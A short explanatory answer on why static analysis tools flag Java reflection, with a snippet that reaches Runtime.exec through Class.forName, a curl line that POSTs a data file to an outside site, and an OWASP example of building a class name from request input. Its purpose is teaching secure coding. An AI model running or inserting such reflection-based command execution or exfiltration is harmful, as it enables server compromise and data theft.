Reflection, and Class.forName
in particular, can enable execution of arbitrary code.
Example 1: Malicious developer
Class runtimeClass = Class.forName("java.lang.Runtime");
Object runtime = runtimeClass.getMethod("getRuntime").invoke(runtimeClass);
clazz.getMethod("exec", String.class).invoke(runtime, "calc.exe");
Instead of calc.exe
it can be for instance some command that destroys something important on your server, or installs a virus, or steals your data like
curl -d "@data.txt" -X POST https://your.site.com/data
Even if you make sure the word "Runtime" is not used in the code, it can be created dynamically. Thus you cannot guarantee that Runtime class is not used in the reflection code.
Example 2: Honest developer
There can be security problems even if such code is implemented by a honest developer. For instance, you want to simplify the code and build some class or method name dynamically depending on user request, and then execute it. See an OWASP example:
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
In this case malicious user can trigger some method even without having permissions required by business logic.
The goal of static analysis tools is to show you the places in the code that can potentially lead to security problems. You decide if particular case means any risk for you or not.